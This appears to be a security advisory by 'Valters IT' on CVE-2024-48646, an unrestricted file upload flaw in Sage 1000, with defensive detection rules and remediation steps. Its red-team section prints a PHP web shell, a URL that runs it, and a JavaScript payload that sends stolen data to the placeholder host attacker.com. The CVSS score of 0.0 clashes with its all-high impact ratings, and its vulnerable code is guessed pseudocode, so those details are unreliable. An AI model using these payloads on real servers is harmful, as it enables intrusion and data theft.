CVE-2024-48646

Executive Summary

CVE-2024-48646 identifies an Unrestricted File Upload vulnerability in Sage 1000 v7.0.0. This flaw allows authorized users to upload files without proper validation, enabling the upload of malicious HTML, scripts, or executable content. Successful exploitation could lead to arbitrary code execution on the server, potentially resulting in full system compromise. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for affected deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: High (based on impact and ease of exploitation)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authorized user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Sage 1000 v7.0.0. The application fails to validate the type, content, or extension of uploaded files. An authenticated attacker can upload arbitrary files, including web shells, HTML pages, or executable scripts. Once uploaded, these files can be accessed via the web server, leading to remote code execution (RCE) or data exfiltration.

Root Cause: Lack of input validation and missing file type restrictions in the upload handler.

Attack Flow:

1. Attacker authenticates to the Sage 1000 application.
2. Attacker crafts a malicious file (e.g., a PHP web shell or an HTML file with JavaScript).
3. Attacker uploads the file via the vulnerable upload endpoint.
4. The file is stored in a web-accessible directory.
5. Attacker accesses the uploaded file via HTTP, triggering execution (e.g., PHP code execution or XSS).

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable upload handler (pseudocode)
if (isset($_FILES['file'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}

A patched version would include:

// Patched upload handler (pseudocode)
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
if (isset($_FILES['file'])) {
    $file_type = mime_content_type($_FILES["file"]["tmp_name"]);
    if (in_array($file_type, $allowed_types)) {
        $target_dir = "uploads/";
        $target_file = $target_dir . basename($_FILES["file"]["name"]);
        move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
        echo "File uploaded successfully.";
    } else {
        echo "Invalid file type.";
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Sage 1000 v7.0.0 with valid credentials.
• A web server to host the malicious file (or direct upload).

Steps:

1. Log in to the Sage 1000 application.
2. Navigate to the file upload functionality.
3. Upload a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

4. Access the uploaded file: http://target/uploads/shell.php?cmd=whoami
5. Execute commands on the server.

Alternative Payload (HTML/JavaScript):

<html>
<body>
<script>
fetch('/api/sensitive-data').then(r => r.text()).then(d => fetch('http://attacker.com/exfil?data=' + encodeURIComponent(d)));
</script>
</body>
</html>

Blue Team

Detection:

• Monitor file upload endpoints for unusual file extensions (e.g., .php, .asp, .exe, .html).
• Alert on files with MIME types not matching expected content (e.g., text/plain for a .jpg file).
• Use file integrity monitoring (FIM) on upload directories.

Hunting:

• Search for recently created files in web-accessible directories with executable extensions.
• Review web server logs for requests to uploaded files followed by command execution patterns (e.g., ?cmd=).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; generate upon discovery)
• Network Indicators:
  • Outbound connections from the server to unknown IPs on ports 80/443.
  • HTTP requests to /uploads/*.php?cmd= or similar patterns.
• File System Indicators:
  • Unexpected files in uploads/ directory with extensions .php, .asp, .jsp, .exe, .html.
  • Files with double extensions (e.g., file.php.jpg).

Detection Engineering

YARA Rule

rule CVE_2024_48646_Sage_1000_Unrestricted_Upload {
    meta:
        description = "Detects malicious files uploaded via CVE-2024-48646"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48646"
    strings:
        $php_shell = "<?php system("
        $php_exec = "<?php exec("
        $html_script = "<script>"
        $asp_shell = "<%"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-48646 - Unrestricted File Upload in Sage 1000
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads with suspicious extensions to Sage 1000
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload*'
        cs-uri-query|contains: 
            - '.php'
            - '.asp'
            - '.exe'
            - '.html'
    condition: selection
falsepositives:
    - Legitimate file uploads with those extensions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48646 - Sage 1000 Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".php"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not required.
2. Restrict upload directory permissions (no execute permissions).
3. Implement strict file type validation on the server side (MIME type, extension whitelist).
4. Use a Web Application Firewall (WAF) to block malicious file uploads.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of Sage 1000.
• Conduct a security audit of the application's file handling code.

Workaround:

• Move the upload directory outside the web root and serve files via a script that validates content type.

Valters IT